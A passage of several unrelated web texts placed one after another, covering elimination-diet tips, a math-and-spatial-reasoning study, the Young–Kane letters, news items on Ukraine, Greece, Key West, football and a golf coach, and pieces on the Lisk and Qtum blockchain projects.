recommend watching episodes of Chopped, a cooking competition where the chefs are forced to cook with weird ingredients (and a normal pantry.) Tip #3 Have a static grocery list, make 5 copies, magnet them to the fridge. Many years ago I was the facilities manager for a domestic violence center and I became an expert grocery shopper. It all came down to the list and the way it was structured. I shop at 3 different grocery stores – Costco (big box), Sprouts (local produce) and Vons (mostly for my kid’s food). They take center stage in 3 columns. I have some things I get on Amazon, at the Indian Market and the Dispensary, but not every week, that are off to the side. They’re organized on the list in the order that I walk through the store. Sometimes I miss something and have to go back but, having the list laid out in the order you walk the store, cuts down on the brain fog that can leave you walking back and forth across the store several times. 5 copies will get you through 5 weeks, that way you can edit the list if you need to before printing it again. When I run low on something that’s not on my static list, I grab a pen out of the drawer and simply add it to the list stuck to the fridge. Things I don’t need to buy that week get crossed out and I base the rest of the list on Tip #4… Tip #4 Plan your menu for the week Ahead of my Saturday grocery shopping I decide what I’m going to have for meals for the entire week. I try to design a lunch meal that’s interesting enough that I won’t get sick of having it 5 days in a row. I want it to have a lot of nutrients because dinner is with the whole family. I pretty much let my boys decide what I’m making on the days they’re with me and sometimes there are no vegetables on the table :-0 and there’s even, gasp, pasta. Good thing is when I’m making salad for lunches, I can make extra salad mix for an easy dinner salad if I want to. And, I know if I’ve got a nutrient filled lunch, one dinner of only buffalo style chicken wings isn’t going to derail me (and yes, butter and hot sauce are both tolerated – at least for wings – woo hoo!). I write the menu plan for the week on the bottom of the list before I leave for shopping. That way, if I can’t find good grass-fed steak at the grocery, I can look at the menu and pick something else right there. Another great reason to plan your menu for the week is that you’re only buying the ingredients that you’re putting on your grocery list to make those meals, which will save you money. You’re no longer standing at the open fridge in the evening, exhausted, trying to make sense out of all the food in your fridge to pull a meal out of it, which will save you stress. Also, you can do weekly dinner prep when you’re doing lunch prep. Wash and cut veggies for Wednesday stir fry, do up a container of sliced onion or garlic for whatever meal is coming. Lastly, it enables you to freeze your meat. Here in LA temperatures can often reach 100 degrees. Even with my fridge on 40 degrees, I’ve had meat go bad before the day on the package. If you’re doing a menu and you know you’re making burgers on Thursday, a quick glance at the list can have you thawing it in the fridge on Wednesday, rather than floating it in water or microwaving it last minute. Tip #5 Meal prep – don’t get caught without food Meal prep is exhausting. There’s really no mincing words about it. You’re giving up ALL your weekend time where you could be doing something for you and instead you’re menu planning, grocery shopping, washing, chopping, cooking, storing and cleaning. Seriously, what kind of a masochist is into that? 😉 Well, going back to Tip #1, I am. Honestly, if plate spinning made me feel better, I’d be spinning plates until my arms fell off, wait, that would defeat the purp… nevermind. Do your darn meal prep. Force yourself to do it! Being able to just throw your lunch in your work bag FIVE days a week, and have a great meal at least once a day, will pay dividends that you must remind yourself of, on Sunday when you’re finishing up, instead of sitting down. I highly recommend headphones, great up-beat music, incense and any kind of motivator you can muster. This probably should’ve been Tip #1 but I’m trying to go in order of doing, rather than importance. Tip #6 Get a good knife, storage and other tools My cutting board is just a plastic one from Costco. I’m not one of those separate color cutting board kind of people. I’m a one cutting board kind of person. I worked in restaurants for 11 years and never saw “separate” cutting boards for things. Maybe I was too sleepy to notice 😉 but yeah. My knife, peeler, strainer and storage containers are another story. Fortunately someone gifted me with a set of Cutco knives a few decades ago and those suckers are still amazing. Sent them in a year ago for sharpening and for $7 I got back sharp knives and even a replacement pair of scissors. Can’t say enough good things about them. They’re selling them now at Costco I noticed but, they’re lifetime knives, so I won’t be needing replacements. I like my fat Kitchen Aid peeler, it’s easier on my weak hands. My Nuwave Ovens give me grilled outside food right in my kitchen, without overheating the room. The Debbie Meyer green boxes are amazing, having fresh fruit and salad on Thursday that you made on Saturday is just priceless. Tip #7 Figure out the best way to explain what you’re doing, why you’re doing it and what food you will be able to eat, and get key people on board with you. I’m not saying become a proselytizer and try to convert everyone over to your diet of choice, I’m saying inform the people you eat with/around regularly (family, friends, co-workers) what you are doing and why. It’s easy, you just say, “So, I heard that some people who have the same issues I do are having success feeling better on ___________ diet. I’m going to try it. I can have ______, _____ and _____. You don’t have to do anything special but I wanted you to know so you don’t get offended if you offer me something that is on my no-eat list.” That’s it. Unless you’re trying to get the whole family on board… that’s a whole other post, sorry. Tip #8 Finds treats you can have to indulge in. Crunchy. Chip crunchy. My kingdom for chip crunchy! That’s what I lamented when I first started AIP. Then I found Dang chips, which are just coconut. Plantain chips. Munch munch. I found other snacks, sweet potato chips made with coconut oil and no added garbage. The internet is also a treasure trove of treats that aren’t cheats. Yes, these diets are hard, so it’s good to treat yourself. Tip #9 Figure out what you can eat outside of your house that won’t derail your progress. Seriously, it’s hard to be the picky person at the restaurant, everyone looks at you funny and, as I’ve mentioned, what you think about affects your emotions and your emotions affect how you feel. So, be as discreet as possible. Look up the menu online ahead of time. Have a few choices. Ask for the ingredients, including spices. Ask if they can leave anything out or put things on the side. I have a local ‘farm to table’ called Tender Greens. They do a marinated steak salad with roasted veggies. They hold the croutons and even chop the meat for me if I ask (weak hands.) It’s great to have a few items around town so when friends want to meet, assuming you’re able to have something of a social life, you’ll at least be able to suggest a place where you know you can have a “safe” meal. Tip #10 Find a support group or other resource where you can share/learn from people on the same plan as you. Facebook and Instagram are great resources for food plan support, recipes and ideas to make things more efficient. Fortunately for me, my hubby is down with eating AIP, so I don’t make different meals for us but, he’s certainly not down for conversations about food, or what it does for you. Me: Honey, did you know garlic is a natural antibiotic? Hubby: That’s nice dear. Probably close to 60 percent of the things I incorporated into my diet, including AIP, mint water, turmeric/garlic juice and kvass, came from conversations with people in my Sjogren’s alternative therapies support group on Facebook. What a blessing! Since I wrote this article, I shared a post in that group about my toothpowder and they banned me completely and without a word. After four years. Sigh. Onward and upward. Tip #11 Don’t tell people you’re on an elimination type diet unless they need to know. Please, do yourself that favor, or you’ll be seeing eye roll on a regular basis. Everyone’s on something and nobody gives a hootie potato what diet you’re on. Nobody comes up to you and says, I’m on the ‘eat whatever I want diet.’ They don’t care. Yes, I’m passionate about it but I try not to bring it up unless someone mentions a symptom, illness or offers up their advice on what I “should” be doing for my health, then I’ll discuss it until the cows come home. Bonus tip Once you’ve stabilized on your chosen elimination diet, try adding in one favorite thing you’ve been missing every now and again, just to see if your body has changed. When I’m doing everything right, I can eat certain foods and not have as much trouble with them. Especially if I have a kvass before, or with, the food. That’s it, eleven things, plus a side dish, that have kept me motivated for two years now. Feel free to comment and add any other tips you think will help others stay on their elimination type diet. You can find the products I use to make things easier in the kitchen, in my Amazon Store you do not pay any more shopping from my links but your doing so will support my site :). -MICHIGAN STATE (US) — Training young children in spatial reasoning can improve their math performance, according to a new study. The researchers trained 6- to 8-year-olds in mental rotation, a spatial ability, and found their scores on addition and subtraction problems improved significantly. The mental rotation training involved imagining how two halves of an object would come together to make a whole, when the halves have been turned at an angle. [sources] Past research has found a link between spatial reasoning and math, but the new study is the first to provide direct evidence of a causal connection—that when children are trained in one ability, improvement is seen in the other. The findings are published in the Journal of Cognition and Development. Kelly Mix, professor of educational psychology at Michigan State University, says the findings suggest spatial training “primes” the brain to better tackle calculation problems. Mix authored the study with Yi-Ling Cheng, a doctoral student in the College of Education. “What’s shocking is that we saw these improvements in math performance after giving the students just one 20-minute training session in spatial ability,” Mix says. “Imagine if the training had been six weeks.” Understanding the connection between spatial ability and math, she says, is especially important in the early elementary grades because many studies indicate early intervention is critical for closing achievement gaps in math. Spatial ability is important for success in many fields, from architecture to engineering, to meteorology, according to a Johns Hopkins University paper. An astronomer must visualize the structure of the solar system and the motions of the objects in it, for example, while a radiologist must be able to interpret the image on an X-ray. Some education experts have called for including spatial reasoning in the elementary math curriculum. But there are many forms of spatial ability and Mix says it’s important to first figure out how each of them may or may not relate to the various math disciplines. To that end, Mix is leading a larger study that tests elementary students on different forms of spatial ability and math performance. The Institute of Education Sciences, which is the research arm of the US Department of Education, funded the research. Source: Michigan State University -Brigham Young is well known in history as the founder of Salt Lake City, the first governor of the Utah Territory, and a leader in the Latter-day Saint movement. Thomas L. Kane, on the other hand, is not quite as known; he was an attorney born in Philadelphia. However, some would say Kane is the most important non-Mormon in the history of the Church of Latter-day Saints. Over the course of more than 30 years, these men corresponded on matters both personal and political. We sat down with Matthew Grow and Ronald Walker, co-editors of The Prophet and the Reformer: The Letters of Brigham Young and Thomas L. Kane, to learn more about these two men, why their letters are important, and what these letters reveal about American history. How did the correspondence between Brigham Young and Thomas L. Kane begin? Brigham Young and Thomas L. Kane first met in July 1846 after Kane had traveled to the Mormon refugee camps in Iowa to visit the Mormons who had been forcibly expelled from Illinois that year. Intrigued by the Mormons’ sufferings, Kane had drawn upon his family’s extensive political connections to assist a Mormon representative in Washington, D.C., in persuading President James Polk to commission a regiment of Mormon soldiers for the Mexican-American War. He then traveled to the Mormon camps to help raise the regiment and soon met Young, the forceful leader of the Mormon emigration. Kane soon became deeply impressed by the Mormons’ sincerity and concerned about their long-term prospects for peaceful coexistence within the United States. Encouraged by Young, who saw him as a potential ally, Kane began to envision a permanent relationship with himself as the Mormons’ self-appointed defender to the nation. Their correspondence began in August 1846, shortly before Kane left the Mormons’ camp to return to his native Philadelphia. Why are these letters important? The correspondence between Kane and Young reveals the strategies of the Latter-day Saints in relating to American government and culture during the crucial decades when controversy over the “Mormon Question” was a major political, cultural, and legal issue. The Kane-Young letters demonstrate the campaigns against the Mormons as well as the shifting tactics taken by the Saints in response. Kane’s position as the Saints’ unofficial lobbyist and image-maker on the East Coast additionally demonstrates how debates over Mormonism intersected with other national controversies over the development of the west, popular sovereignty, American Indians, government of the territories, and the sectional crisis. Indeed, with its focus on national concerns and the Saints’ relationship with the federal government, the Kane-Young correspondence illustrates that the “Mormon Question” was a major national issue that can be fully understood only within the context of these other national political debates of the mid-nineteenth century. In addition, the correspondence gives insight into most of the major controversies surrounding the Latter-day Saints between the late 1840s and the late 1870s. What kinds of things were they writing about? While the men also shared observations regarding American politics and news of their families, their correspondence centers on news relating to the Mormons’ political, legal, and economic challenges in the Utah Territory. What do these letters reveal about the men? Young and Kane are a study in contrast. While Young was born into poverty, Kane was born (in his own words) “with the gold spoon in my mouth, to station and influence and respectability.” While Young was regarded as a prophet by his fellow Mormons, Kane was a religious skeptic. They were in many ways an odd pair: the pragmatic prophet and the quixotic reformer, the millenarian who spoke in tongues and the skeptic of organized religion, the Yankee from humble origins and the aristocratic Pennsylvanian. Even their writing styles show their differences; Kane’s sentences can be learned, polished, and sometimes written in a complex manner. In contrast, Young’s style is more direct and pulsates with energy. Nevertheless, for three decades, Young relied on Kane, 21 years his junior, as his most trusted adviser outside of the Latter-day Saint community. As a result, Kane became the most important non-Mormon in the history of the Latter-day Saints. At the same time, Young deeply influenced Kane’s life. Kane’s wife Elizabeth commented that both men “had great magnetic power” and “each influenced the other strongly.” What do these letters reveal about the history of the Mormons? The correspondence opens a window into the inner workings of the new religious movement. Historians cannot understand such events as Utah’s troubled history with the national government, leading to the celebrated “Utah War” of 1857-58, without studying these letters. Nor can they understand Mormon efforts to build an ideal social order, which included their celebrated polygamy. For almost thirty years, Young and Kane talked and maneuvered, planned and plotted. No one can fully understand nineteenth-century Mormon history without reading this material. Image Credit: “Utah” by Moyan Brenn. CC BY 2.0 via Flickr. -My santa hit every possible mark this year! I'm so thankful to my SS! Not only did I recieve a new sketch book with some pencil sets, as well as a literal pile of notebooks to write in, I also got two new dice sets to replace the ones my cats have been trying to decimate by spreading them under every piece of furniture in the house! I love the colors and can't wait to see how well they roll! And speaking of those two troublesome devils, Avi Cadavi and Kiddy Kricket absolutely love their gifts! Kricket has laid claim to the crinkle tube and has been wrestling with it on and off all day! Avi adores swatting his catnip-filled jingle ball, but he also seems to enjoy swatting it under the couch! Heaven only knows how long it'll be till it vanishes! I'm saving their third gift- a literal TON of cat drugs- for Christmas. Thank you again Santa! You nailed it! -One of the most important aspects of the Minsk ceasefire for eastern Ukraine was the removal of heavy weapons from the front lines. Both sides were a bit slow in getting this going, with the rebels just finally starting the pullback over the weekend. The two sides were supposed to do the pullbacks within two weeks of the ceasefire, and the rebels were about a week in when they began. That’s far better than the Ukrainian military, however, which is now refusing to pull weapons out at all. The army is claiming that the rare skirmishes ongoing in the nation’s east justify them keeping their military assets on the front lines, even though that’s the opposite of what the ceasefire deal said. Ukrainian officials, as usual, sought to blame the fighting on Russia, and also claimed they had proof Russia is intending to attack Ukrainian cities soon. Ukraine’s currency, the hryvnia, dropped another 10% today on fear Ukraine’s military is going to sabotage the ceasefire with its determination to stay on a war footing. Last 5 posts by Jason Ditz -Rob O'Neal, Florida Keys News Bureau/HO Rob O'Neal/Florida Keys News Bureau/HO KEY WEST, Fla. – Pedestrians, bicycles and cars are traversing a colorful new section of Key West’s Duval Street following the installation of four permanent rainbow crosswalks. Completed Thursday at the intersection of Duval and Petronia streets — in the heart of the island’s LGBT entertainment district — the crosswalks feature all six colors of the rainbow flag, an internationally recognized gay and lesbian icon. City workers laid pre-formed thermoplastic color blocks on the pavement, alternating with white stripes, and heat-treated them to permanently affix the colors. Article continues below The rainbow crosswalks exemplify the island city’s longstanding support for diversity. The city commission adopted the motto “One Human Family” in 2000, proclaiming equality and acceptance for all, and the island is a popular LGBT vacation destination. “Key West is very happy to be putting in the first thermoplastic permanent rainbow crosswalks in the state of Florida,” said Mayor Craig Cates. “It means so much to Key West to show our diversity, and also it goes perfectly with our ‘One Human Family’ motto.” “Accepting diversity has been going on for generations in Key West, mainly starting back when Key West was an island with no access but boats,” said Cates. “Everybody learned to live together, accept one another, so that has continued on through generations and is very evident today.” While the rainbow crosswalks opened to traffic early Thursday afternoon, their official debut is scheduled Wednesday, June 10, kicking off the June 10-14 Key West Pride festivities. This Story Filed Under -Disappointing in Spain's defeat to Chile, Diego Costa re-affirmed he is Chelsea bound. Diego Costa was one of the success stories of the La Liga season, but his World Cup is already a major disappointment. He came into the tournament as a player to watch, but also one with concern hanging over him. That was due to the injuries which hampered the end of his season, and forced him off early into the Champions League Final. In Spain's 5-1 loss to Holland and 2-0 defeat to Chile, Costa did not look sharp, and was entirely underwhelming. His £32 million transfer to Chelsea still appears to be on however, although yet officially unconfirmed. Spanish newspaper El Confidencial report Diego Costa was approached after the match in the mixed zone, and quizzed about his future, and if he was heading for Chelsea. He responded: "My future is more there than at Atletico". It's possible the ongoing transfer speculation has been a distraction for the striker, who has also had to contend with playing in the country of his birth Brazil, to represent Spain. Costa added: "It has been a very good year in many ways, but also very hard on others." The paper report that Costa's transfer could be made official within days, and importantly the striker has suffered no injury setbacks at least. His World Cup disappointment will give him a point to prove upon arrival in the Premier League, and that may just work in Chelsea's favour. -Don’t coupley photos like this just make you sick? Half sick with envy, and half sick with plain nauseating cuteness. This is Keisuke Jinushi, a bright-eyed young lover, obviously infatuated, being lovingly hand-fed and spoiled by his devoted girlfriend. Or is it? Let’s take another look. Actually, these photos are nothing more than cunningly framed selfies! But how did he do it alone? ▼Ah, the happiness of a loving relationship. What could be nicer than showing your love by feeding your lover choice morsels, like a baby bird? ▼Here we have our hero, Keisuke. Pondering how to achieve the photographic delights of coupledom while flying solo… These kind of photos capture timeless moments, telling a story we can all relate to. And then posted online because, you know, why keep that intimate moment to yourself when you can show everyone what a great time you’re having? “Mmm sweetie, this is so delicious, you have to try some! Here, open wide…” ▼”Oh, you have some ketchup on your face!” (giggle) Note the glazed look of joy as his girlfriend wipes off the sauce, about to lick it from her finger and kiss him to make sure none is left. ▼Now this is how it’s done as a single-person selfie! Pshaw, who needs a relationship anyway. This guy’s “lover” is his own right hand. While his right hand acts the part of “girlfriend”, his left presses the button on his smartphone to take the picture. ▼Here we have the amazing result! ▼…here’s the big picture! No shame in being single. ▼But how on earth did he get his hand looking so beautifully feminine? First, the skin tone is differentiated using pale foundation… ▼Then, carefully apply nail polish… Ooh, should’ve taken better care of those nails… ▼Tada! The finished product. As a final artistic touch, to avoid confusion a cute scrunchie is added. ▼Pro tip: it’s best to add a retro filter, or take the picture in cutesy Instagram style to make it a real “girlfriend” pic. There are tons of smartphone apps that will make your pic super-cute! ▼Here’s another thing: the expression on your face should naturally be an embarrassed grin. “Awww, she’s taking an embarrassing photo of me…” It’s perfectly possible to do this alone! How about other cute couple scenarios? Such as the classic picnic in the park. The guy falls asleep after their picnic lunch, and the girlfriend gets bored and amuses herself taking silly pics of him napping. She can’t wait to show him as soon as he wakes up! He’ll probably pretend to be annoyed, and they’ll have a little tussle… ▼This is how it’s done solo! ▼Finally, she started drawing on his sleeping face! What a minx. ▼Here we have the master at work, taking these “park” photos all by himself. When he uploads them to Facebook, everyone that sees them will be so jealous… ▼All those hours “we” spent messing round in McD’s, playing with french fries. Sigh. ▼And all that time it was really only me. Me and my imaginary girlfriend. Love is all you need. Inspired by the master’s efforts, I imitated them in the photo below. After all, it is the sincerest form of flattery. I wasn’t sure exactly how to create an imaginary “boyfriend” for the selfie, other than by gluing extra hair onto my hands, roughening them up and biting my nails to the quick. Then I had an idea! ▼Guys may find it difficult to express their true feelings… No imaginary girlfriends or boyfriends were harmed in the making of these photos. Photos by Keisuke Jinushi at Daily Portal Z, final photo by RocketNews24 -At the last minute, when it seemed that a break was inevitable, the Greek government made a new proposal which included substantial additional concessions to the demands of Europe’s bankers and capitalists. It is not only that the Syriza government has been forced to abandon substantial points of its own election program, but even the famous “red lines” have been crossed. This is not what one would normally understand as a “negotiation”, in which both parts come together at a middle point. Rather, the Syriza government has been forced to accept and agree to every demand of the troika. The latest Greek proposal amounts to 8bn euro worth of austerity measures over 2 years. Summary of measures - click to enlarge Most of these are in the form of increases in the rate of VAT for different products and services. This accounts for 2bn euro and includes an end to the special VAT rate for Greek islands (which is likely to be opposed by Syriza’s government partner ANEL (Independent Greeks). VAT of course is a regressive tax, which hits working people harder. An additional 1.5bn is to be saved through cuts in pensions. These are not actual cuts in the amount pensioners receive, but they are cuts nevertheless as pensioners’ health and other contributions will be raised. There will be also a phasing out of early retirement schemes and an increase in the retirement age to 67 years by 2025. This breaks yet another of the government’s self imposed “red lines” and comes after cuts in pensions of up to 48% in the last 4 years. Another 1.7bn will be raised through taxing companies. This includes a 410 million increase in corporation tax next year, as well as a one-off 1.3bn profits tax for companies with profits over 500,000 euro. These are the only really progressive taxation measures in the whole package. Other aspects of the proposal which were already included in the document presented by Varoufakis to the troika last week are the maintenance of the regressive property tax (ENFIA) introduced under the Memorandum, as well as the continuation of the privatisations program. An end to privatisations and the immediate abolition of ENFIA were two key points of the Thessaloniki program on which Syriza stood in the election. Five months later, very little is left of the popular mandate which Syriza got on January 25 to put an end to austerity policies and the Memoranda signed by previous governments. One is justified in asking, even from the point of view of the supporters of the government’s negotiating tactics, whether it was worth waiting all this time, if in the end the demands of the troika have been met. What was the point of the report by the official Audit Committee on Public Debt which was presented last week by Parliament speaker Zoe Konstantopoulo which declared Greece’s public debt as “odious, illegitimate and illegal”? The report was very clear in its conclusions: ““All the evidence we present in this report shows that Greece not only does not have the ability to pay this debt, but also should not pay this debt first and foremost because the debt emerging from the Troika’s arrangements is a direct infringement of the fundamental human rights of the residents of Greece. Hence, we came to the conclusion that Greece should not pay this debt because it is illegal, illegitimate and odious.” (Link). Now the government has committed itself to further austerity measures in order to continue paying this very same debt. Not only this, but as many observers have commented, this is an austerity package which will knock off the already battered economy 1.51% of GDP this year and 2.87% next year (which is in fact slightly more than the 1.5 and 2.5% demanded by “the institutions” (as the troika is now known). This will have a severe recessionary impact on the already fragile Greek economy, which in turn is likely to prevent the agreed targets for primary budget surplus from being met. This is an unmitigated disaster and the continuation of the failed policies of the last 5 years. Even despite all the concessions which the troika has extracted from the Greek government by using extreme pressure and blackmail, the deal has not been closed. A new meeting of the Eurogroup has been convened for Wednesday evening to iron out the last details. It is still possible that they will demand even more detailed commitments (read concessions) from the Greek government. Even this morning, the German Vice-chancellor Sigmar Gabriel declared “We will see if the Greek proposals are sufficient. If not, we’ll have to keep talking.” The deal, or proposed deal, means that Greece continues to be shackled to the chains of austerity and cuts. The question now is, how will society react to this? The great expectations created by the election of Syriza have been progressively dissipating over the last five months of endless negotiations with the troika which every day have brought ever greater concessions to its demands. There are already reports of opposition by pensioners who have called a demonstration against the deal this afternoon, as well as the Communist trade union front PAME. There is also opposition from within Syriza. Left Platform supporters within the government will now be faced with a stark choice: to oppose these measures and be kicked out of the cabinet, or cave in and backtrack on their earlier promise not to vote for austerity. There are media reports that even before the latest concessions, a prominent member of the Syriza leadership Vassilis Chatzilamprou, who was until recently a member of the majority faction supporting Tsipras, said: “We cannot accept strict, recessionary measures. People have now reached their limits.” Central Committee member Stathis Kouvelakis, from the Left Platform, commented: “The list of the measures of the new austerity package proposed by the Syriza government is absolutely depressing… Will this downward spiral stop before it's too late! It's more than time for the social movements and the combative forces of the Left to wake up and fight!” The Communist Tendency has correctly described the latest Greek offer as a new “Memorandum” and urged “members of parliament, officers and members of SYRIZA and all other trends and components to take a clear position and to resist the flagrant breach of popular mandate from the government and the party leadership. The party's MPs should commit to vote against the Memorandum agreement.” (Link) There is now talk by the European Union of providing Greece with 35 bn euro worth of aid programs, perhaps with the aim of softening the blow and helping the government get these measures passed. The truth is that this climb down is the result of the relentless pressure imposed by the troika, the representatives of the bankers and capitalists, on the Greek government for the past 5 months. All sorts of blackmail, threats, withholding of funds and dirty tactics have been used in order to force the Greek government to capitulate to their demands. Syriza was elected on the basis of a program of putting an end to austerity and the Memorandums, but European capitalists could not allow it to implement it. In reality, what this means is that within the limits of capitalism, there is very little room for implementing any other policy, other than cuts and austerity. From the very beginning, Syriza’s Communist Tendency warned that the Thessaloniki program was based on the false idea that the troika would agree to make substantial concessions. Now this has been proven to be a correct assessment. A sharp change of course is required, and this can only come from the mass mobilisation of the Greek working people, those who voted for Syriza together with the Syriza members and activists against this latest deal imposed by the troika. But we must speak clearly and honestly. The conditions for such mobilisation are now much worse that they were five months ago. At that time the government could count on rates of popular support of up to 80% and there were spontaneous mass demonstrations. Now there is a mood of shock, anger and confusion. Support for the government has slowly evaporated and there have even been sizeable anti-government demonstrations in Syntagma Square over the last few days, something which would have been unthinkable before. In reality, the only way to effectively mobilise Greek workers, pensioners, youth, the unemployed, is to offer a clear alternative to austerity policies. That can only be done on the basis of a program which would include the immediate repudiation of the debt, the nationalisation of the banks and key levers of the economy, the reversal of all austerity measures and a shock program of social emergency dealing with housing, healthcare, education and other basic needs - a socialist program. What the experience of Greece in the last five months demonstrates is that if one accepts the logic of capitalism then that is a slippery slope towards implementing austerity policies which make workers pay for the crisis of capitalism. The only way to break with austerity and cuts, to put an end to the Memoranda, is to break with capitalism. -Lisk, the blockchain application platform, has collaborated with distinguished design agency Taikonauten, in order to rebrand its ecosystem. With this partnership, the startup particularly aims to enhance the user experience and facilitate even greater user adoption. This collaboration is part of Lisk’s resilience phase, which aims to build a more elegant core system, an even better Lisk SDK, deploy various useful features, design beautiful and easy user interfaces, and continue to put a major focus on security. “This collaboration will help the Lisk project more efficiently to communicate the goals of our platform. It will improve the user experience of the Lisk client to a level not seen before in the blockchain space, marking a first step for common user adoption, and unifying our whole ecosystem visually,” Lisk Foundation President Max Kordek said. Taikonauten is a Berlin-based design agency that aims to shape the future of the Internet with its work. It uses digital design to promote key brands, position products and create new opportunities for cutting-edge businesses. Lisk will allow users to develop applications from scratch using JavaScript by deploying sidechains next to the Lisk blockchain. Registered in December 2016, the Lisk Foundation has a permanent mission to enable the project to develop into a widely used, next generation, blockchain application platform set out by its Founders. In its official release, Lisk said that the partnership will enable the Lisk Foundation to employ the creative talents of the team at Taikonauten to entirely redesign crucial aspects of its platform, such as its logo, website, blockchain explorer and client user interface (including desktop and smartphone). “Until now, Lisk has been concentrating its resources on the development of the back end. We have released many optimization, stability and security updates to date marking the significant progress the platform is making. Now, our attention moves to making visible changes to our current ecosystem,” added Kordek. The overarching aim of the collaboration, extending from March to August 2017, is to create a unified experience for Lisk users. Taikonauten will overhaul Lisk’s corporate design, developing a new logo and media kit. In addition, it will also design and develop a new website for Lisk. Finally, user interfaces for Lisk’s desktop, mobile clients and blockchain explorer will also be crafted and designed by the agency. “Our vision, together with Lisk, is to increase the visibility of this important platform. We aim to keep user needs at the heart of our approach and to make Lisk even more accessible to regular Internet users,” said Maik Fahldieck, Founder and Managing Director of Taikonauten. -It seems that every week, a new study comes out showing just how much damage we’re doing to our planet. This last one’s a doozy, though: according to Matthew Long, an oceanographer at the National Center for Atmospheric Research, if we continue along the road we’re on, the ocean could begin to suffocate in about 15 years. Actually. The study was published in 2016 in Global Biogeochemical Cycles, which is not The National Enquirer and is a publication entirely based on science. Long’s not some quack, either. He’s a dyed-in-the-wool scientist with a Ph.D. in Oceanography from Stanford University, an M.S. in Environmental Engineering (Hydrology) from Tufts University, and a B.S in Environmental Engineering. That is a man who likes facts. According to Ocean Scientists for Informed Policy, “ocean deoxygenation refers to the loss of oxygen from the oceans due to climate change.” It’s not up for debate, either: it is a cold and hard fact that both climate change and ocean deoxygenation are happening, and no amount of climate change deniers stamping their feet will change it. “Long-term ocean monitoring shows that oxygen concentrations in the ocean have declined during the 20th century, and the new IPCC 5th Assessment Report (AR5 WG1) predicts that they will decrease by 3-6% during the 21st century in response to surface warming,” the website explains. “While 3-6% doesn’t seem like much, this decrease will be felt acutely in hypoxic and suboxic areas, where oxygen is already limiting. […] To put this in context, a highly optimistic emissions scenario of atmospheric CO2 levels of 550 ppm by 2100 would lead to a 1.2°C warming of the upper ocean. Therefore, these declines in oxygen are changes we should be prepared to see.” Advertisement While it seems obvious that an ocean deprived of oxygen is a bad thing, let’s break it down real quick: Almost everything in the ocean depends on the oxygen in the water to survive. Of course, there are a few things that don’t–whales, dolphins, turtles, and other creatures that surface to breathe–but for the most part, everything takes oxygen from the water. If those things die, that’s a pretty massive big ball rolling towards everything else being dead. So how does climate change affect the ocean? Well, the ocean is warming up, and a warm ocean doesn’t take in as much oxygen from the atmosphere, for starters. There’s the whole sea level rising issue, which is just way too big to go into here. But possibly the most concerning part of the whole thing has to do with phytoplankton, which are one of the smallest, most prolific, and really fucking important creatures on earth. If you believe National Geographic, “fish, whales, dolphins, crabs, seabirds, and just about everything else that makes a living in or off of the oceans owe their existence to phytoplankton, one-celled plants that live at the ocean surface. Phytoplankton are at the base of what scientists refer to as oceanic biological productivity, the ability of a water body to support life such as plants, fish, and wildlife.” Warmer water doesn’t mix well with colder water. As the surface warms, the phytoplankton that float around up there most of the time don’t get down deep as often, and those little guys are responsible for about half of the oxygen in the ocean. Advertisement Until the recent study, blaming climate change on the dropping levels of oxygen in the ocean was a tough sell, even to those who aren’t turning a blind eye to one of the hugest problems humans have ever faced. It was a tough sell because it was almost impossible to prove in nature. When it’s windy, for example, it churns everything up, making it nearly impossible to get an accurate measurement over a long period time. Long’s study cut out the variables of Mother Nature and all her vagaries. “This new study tells us when we can expect the impact from climate change to overwhelm the natural variability,” he said. Using simulations, he predicted and calculated ocean deoxygenation until the next century. And holy Christ, was it ever bad news. According to the predictive study, vast portions of the Pacific–Hawaii and the western edge of the Americas included–will be seriously deprived of oxygen somewhere between 2030 and 2040, which would most likely mean massive die-offs of very important creatures. Although Long’s study is far more telling than any other before it, it’s not really anything all that new. Back in 2010, Scripps Institution of Oceanography warned about the dangers of something called “oxygen minimum zones”, which are exactly what they sound like: large portions of the ocean, usually very deep, that don’t have enough oxygen to really sustain much life. “A major concern is that these so-called oxygen minimum zones (OMZs) will expand in the future as the upper ocean warms and becomes more stratified,” wrote Scripps scientist Ralph Keeling. What does it all come down to? Well, more and more, it seems we’re already too far gone. Every day, we’re passing tipping points. Long, who seems a little frustrated that no one in charge is listening to him or anyone else that has been screaming about a host of environmental issues, made his point very clear. “This inexorable force of human-induced warming will clearly result in widespread ocean deoxygenation in the future,” he said. And like it or not, our lust for carbon is causing it. “This latest study adds one more item to the list of insults we are inflicting on the oceans through our continued burning of fossil fuels,” said Michael Mann, a climate scientist at Penn State University. “Ocean life and marine ecosystems must now simultaneously contend with the triple threat of warming waters, increased acidity, and now, we’re learning, lower oxygen levels. Any one of these challenges alone would be daunting. “We have yet another reason to be gravely concerned about the health of our oceans, and yet another reason to prioritize the rapid decarbonization of our economy.” -CBS 7 Sports has learned that Andrews Girls Golf Coach Mark Burgen has been suspended after attending golf practice last Friday. According to an Andrews Police Report, Burgen committed a Class C misdemeanor offense of using of wireless communication device in a school crossing zone or while operating a school bus with a minor passenger. The misdemeanor offense has now led to his possible suspension from his duties of head golf coach. In statement released to the Andrews County News, Andrews Superintendent Bobby Azam said “Andrews ISD cannot comment on individual student or personal matters. However, as always, the district’s primary purpose is the safety and security of all AISD students, faculty and staff. Therefore, the district will continue to take appropriate actions to ensure their safety and well being.” When CBS 7 reached out to the six-time state champion, Burgen said he would not be able to comment on the matter. There is now a petition going around the internet to reinstate Burgen at head golf coach. -Qtum is taking Bitcoin Core 0.13, integrating the Ethereum Virtual Machine, and adding an “ Account Abstraction Layer ” so that existing Etheruem contracts will work on Qtum with minimal changes. The exact way we are integrating the EVM is by adding new Bitcoin Script opcodes, and adding special processing conditions so that when these EVM using transactions are added to the blockchain, they are executed immediately (rather than only when attempting to be spent, as is normal). Along with this, the account abstraction layer allows for contracts to only worry about balances and sending funds. This is a bit more complicated to explain without going into a lot of technical detail, but I’ll try. Normally in UTXO based coins (such as Bitcoin of course), you can’t just say “I want to send 20 coins to X”, you say “I want to send this 10 coin output, and this 5 coin output, and this 8 coin output to X, and also send 3 coins back to Y, which is my wallet.” This is called coin-picking , and it is one of the reasons that smart contract implementations on top of Bitcoin have been so difficult up to this point. A coin output must be either spent completely or not spent at all. What we’ve done with this account abstraction layer is make it so that smart contracts on the blockchain have something similar to a wallet. When a user (or another contract) sends coins to a contract, the code will create a standard “funding transaction”, which is spendable only by the appropriate smart contract. It would be a great burden for smart contracts to have to pick their own coins (i.e., having to write your own algorithm in Solidity), so we have added a consensus-critical coin picking algorithm which all contracts must use. So, for a contract to “send 5 coins to X”, the miner will pick contract-owned coins (using the consensus-critical 